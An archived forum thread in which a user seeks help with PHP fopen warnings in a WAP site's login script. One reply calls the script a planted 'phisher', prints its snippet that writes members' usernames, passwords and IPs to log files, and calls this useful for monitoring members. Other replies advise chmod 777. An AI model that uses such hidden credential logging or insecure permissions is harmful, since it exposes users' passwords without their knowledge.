can any 1 help me with soe errors please??

Started on the old forum in September 2009 · view the original in the archive · old links redirect here

10 replies · 617 views · started 17 years ago · 1 min read

6 participants
nige Newbie · 9 posts #1

the errors are on the page after you login the page you bookmark so you dont have to log in :

Warning: fopen(../logs/info.txt) [function.fopen]: failed to open stream: No such file or directory in /home//public_html//web/login.php on line 186

Warning: fwrite(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 187

Warning: fclose(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 188

Warning: fopen(../logs/info.txt) [function.fopen]: failed to open stream: No such file or directory in /home//public_html//web/login.php on line 263

Warning: fwrite(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 264

Warning: fclose(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 265

any help would be much appreciated thank you

nige Newbie · 9 posts #3

im using a wapdesier script not sure which verison it is thou

WhiteWarrior Principal · 1,419 posts #7

Richie24 wrote: fopen dont work on your server u need to remove them

fopen works on ANY server unless its adnormal...

Add folder called logs and cmod it to 777 and should be problem solved 🙂

huwad Developer · 215 posts #8

nige wrote: the errors are on the page after you login the page you bookmark so you dont have to log in :

Warning: fopen(../logs/info.txt) [function.fopen]: failed to open stream: No such file or directory in /home//public_html//web/login.php on line 186

Warning: fwrite(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 187

Warning: fclose(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 188

Warning: fopen(../logs/info.txt) [function.fopen]: failed to open stream: No such file or directory in /home//public_html//web/login.php on line 263

Warning: fwrite(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 264

Warning: fclose(): supplied argument is not a valid stream resource in /home//public_html//web/login.php on line 265

any help would be much appreciated thank you

its a phisher.. LOL.. planted in wapdesire/wickedempire's script.. it can be usefull, you can monitor your member's logs, including username, password, ip, and even user's agent.. logs in the directory of /logs.. but if you want you can remove it.. just remove this in your login.php

if(trim($uid)!=""){
$fname = "../logs/".$uid.".txt";
$out = fopen($fname,"a+");
fwrite($out,$alli);
fclose($out);}

anyway.. you can fix that warning by setting /logs chmod to 777.. and secure that directory.. someone might access it.. use htaccess.. 😊

hacking is like sex. you get in, you get out and you pray you left nothing behind.

kiLLeR-eyEd_14 Senior · 382 posts #9

huwad wrote: its a phisher.. LOL.. planted in wapdesire/wickedempire's script.. it can be usefull, you can monitor your member's logs, including username, password, ip, and even user's agent.. logs in the directory of /logs.. but if you want you can remove it.. just remove this in your login.php

if(trim($uid)!=""){
$fname = "../logs/".$uid.".txt";
$out = fopen($fname,"a+");
fwrite($out,$alli);
fclose($out);}

anyway.. you can fix that warning by setting /logs chmod to 777.. and secure that directory.. someone might access it.. use htaccess.. 😊

yeh..i removed that in my script but i made a logs inserted into database mlogs when a user logging someones acct. with incorrect password, to know what they are doing with someones acct.,only the ip, host and browser is being inserted with the username that is trying to be hacked

spiderwebs Developer · 193 posts #10

whitewarrior m8 its not necesarry that fopen will work on server if it is close/off from host side generally it is on but may be it off

yea as whitewarrior said

nige just chmod your logs folder to 777 or 775 it will work or if you dont have log folder just put a log folder and put info.txt file in it

E107 Security Team Leader Proudly Support AccountLab Plus Billing Software

Want your Apps to be Developed ??? mail us your requirement at info@csarlab.com

nige Newbie · 9 posts #11

thanks for that every1 prob solved

Write your reply now; next you create a free account (or sign in) and it is posted right away. Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close